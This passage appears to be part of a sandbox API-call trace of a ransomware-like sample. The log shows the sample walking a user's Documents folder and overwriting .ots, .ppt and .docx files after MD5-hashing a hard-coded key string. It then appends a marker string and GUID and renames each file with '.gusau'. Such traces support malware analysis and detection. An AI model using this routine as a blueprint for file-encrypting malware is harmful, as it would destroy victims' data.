| out: hHeap=0xd10000) returned 1 [0118.569] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.569] PathFindFileNameW (pszPath="") returned="" [0118.569] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.570] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9f0f2b0, ftCreationTime.dwHighDateTime=0x1d4d096, ftLastAccessTime.dwLowDateTime=0xa7cf1300, ftLastAccessTime.dwHighDateTime=0x1d4d4fc, ftLastWriteTime.dwLowDateTime=0xa7cf1300, ftLastWriteTime.dwHighDateTime=0x1d4d4fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.572] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.572] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9f0f2b0, ftCreationTime.dwHighDateTime=0x1d4d096, ftLastAccessTime.dwLowDateTime=0xa7cf1300, ftLastAccessTime.dwHighDateTime=0x1d4d4fc, ftLastWriteTime.dwLowDateTime=0xa7cf1300, ftLastWriteTime.dwHighDateTime=0x1d4d4fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.572] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf890870, ftCreationTime.dwHighDateTime=0x1d4d4cb, ftLastAccessTime.dwLowDateTime=0xc2b03130, ftLastAccessTime.dwHighDateTime=0x1d4c9fe, ftLastWriteTime.dwLowDateTime=0xc2b03130, ftLastWriteTime.dwHighDateTime=0x1d4c9fe, nFileSizeHigh=0x0, nFileSizeLow=0xa890, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1TiNgxSzmOsn7Ri OkP.ots", cAlternateFileName="1TINGX~1.OTS")) returned 1 [0118.572] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.572] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.572] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.572] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\1TiNgxSzmOsn7Ri OkP.ots") returned=".ots" [0118.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\1TiNgxSzmOsn7Ri OkP.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\1tingxszmosn7ri okp.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.573] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=43152) returned 1 [0118.573] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.575] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa86a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.575] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.577] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.577] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.577] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.577] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa890, lpOverlapped=0x0) returned 1 [0118.578] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.578] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.578] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.578] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.578] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.581] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.581] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.581] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.581] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.581] GetLastError () returned 0x0 [0118.581] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.581] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.581] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.581] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa890) returned 0x39f9f20 [0118.581] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.582] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xa88b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xa88b, lpOverlapped=0x0) returned 1 [0118.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.582] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa890, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.582] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.582] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.582] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.582] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.582] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.582] CloseHandle (hObject=0x610) returned 1 [0118.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xb0) returned 0x3930140 [0118.583] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8c0) returned 0x39f4ef8 [0118.583] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3930140 | out: hHeap=0xd10000) returned 1 [0118.583] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\1TiNgxSzmOsn7Ri OkP.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\1tingxszmosn7ri okp.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\1TiNgxSzmOsn7Ri OkP.ots.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\1tingxszmosn7ri okp.ots.gusau")) returned 1 [0118.584] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.584] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.585] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c776e80, ftCreationTime.dwHighDateTime=0x1d4cdba, ftLastAccessTime.dwLowDateTime=0xbbe254d0, ftLastAccessTime.dwHighDateTime=0x1d4d3c4, ftLastWriteTime.dwLowDateTime=0xbbe254d0, ftLastWriteTime.dwHighDateTime=0x1d4d3c4, nFileSizeHigh=0x0, nFileSizeLow=0xad0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="20r7oIjlUFUIkP.ppt", cAlternateFileName="20R7OI~1.PPT")) returned 1 [0118.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.585] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.585] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.585] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\20r7oIjlUFUIkP.ppt") returned=".ppt" [0118.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\20r7oIjlUFUIkP.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\20r7oijlufuikp.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.586] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=44298) returned 1 [0118.586] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.588] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xace4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.588] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.589] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.589] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.589] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.589] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xad0a, lpOverlapped=0x0) returned 1 [0118.590] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.590] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.590] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.590] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.590] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.591] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.591] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.591] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.591] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.591] GetLastError () returned 0x0 [0118.591] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.591] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.591] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xad10) returned 0x39f9f20 [0118.591] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.591] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.591] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xad05, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xad05, lpOverlapped=0x0) returned 1 [0118.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.592] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xad0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.592] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.592] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.592] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.592] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.592] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.592] CloseHandle (hObject=0x610) returned 1 [0118.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0118.593] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.593] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0118.593] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\20r7oIjlUFUIkP.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\20r7oijlufuikp.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\20r7oIjlUFUIkP.ppt.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\20r7oijlufuikp.ppt.gusau")) returned 1 [0118.594] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.594] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.595] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5acb1c90, ftCreationTime.dwHighDateTime=0x1d4c762, ftLastAccessTime.dwLowDateTime=0x5ccbdd70, ftLastAccessTime.dwHighDateTime=0x1d4c845, ftLastWriteTime.dwLowDateTime=0x5ccbdd70, ftLastWriteTime.dwHighDateTime=0x1d4c845, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5T4sBt2", cAlternateFileName="")) returned 1 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7fd0 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8068 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x3920c68 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f82c8 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0be0 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8360 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f83f8 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f8490 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x39741b0 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8100 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0b58 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8198 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8230 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f38 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974300 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0ad0 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39f7f38 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f8068 | out: hHeap=0xd10000) returned 1 [0118.595] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7fd0 | out: hHeap=0xd10000) returned 1 [0118.595] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a003360, ftCreationTime.dwHighDateTime=0x1d4cd25, ftLastAccessTime.dwLowDateTime=0xa5ddfcd0, ftLastAccessTime.dwHighDateTime=0x1d4d409, ftLastWriteTime.dwLowDateTime=0xa5ddfcd0, ftLastWriteTime.dwHighDateTime=0x1d4d409, nFileSizeHigh=0x0, nFileSizeLow=0x87a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ALIdU0.docx", cAlternateFileName="ALIDU0~1.DOC")) returned 1 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0ad0 [0118.595] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.596] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0ad0 | out: hHeap=0xd10000) returned 1 [0118.596] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\ALIdU0.docx") returned=".docx" [0118.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\-cJIpQCkg1\\ALIdU0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\-cjipqckg1\\alidu0.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.596] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=34725) returned 1 [0118.596] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.599] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x877f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.599] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.600] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.600] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.600] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.600] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x87a5, lpOverlapped=0x0) returned 1 [0118.601] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.601] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.601] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.601] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.601] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0ad0) returned 1 [0118.602] CryptCreateHash (in: hProv=0xdf0ad0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.602] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.602] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.602] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.602] GetLastError () returned 0x0 [0118.602] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.602] CryptReleaseContext (hProv=0xdf0ad0, dwFlags=0x0) returned 1 [0118.602] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.602] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x87b0) returned 0x39f9f20 [0118.602] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.602] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.602] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x87a0, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x87a0, lpOverlapped=0x0) returned 1 [0118.602] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.602] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x87a5, 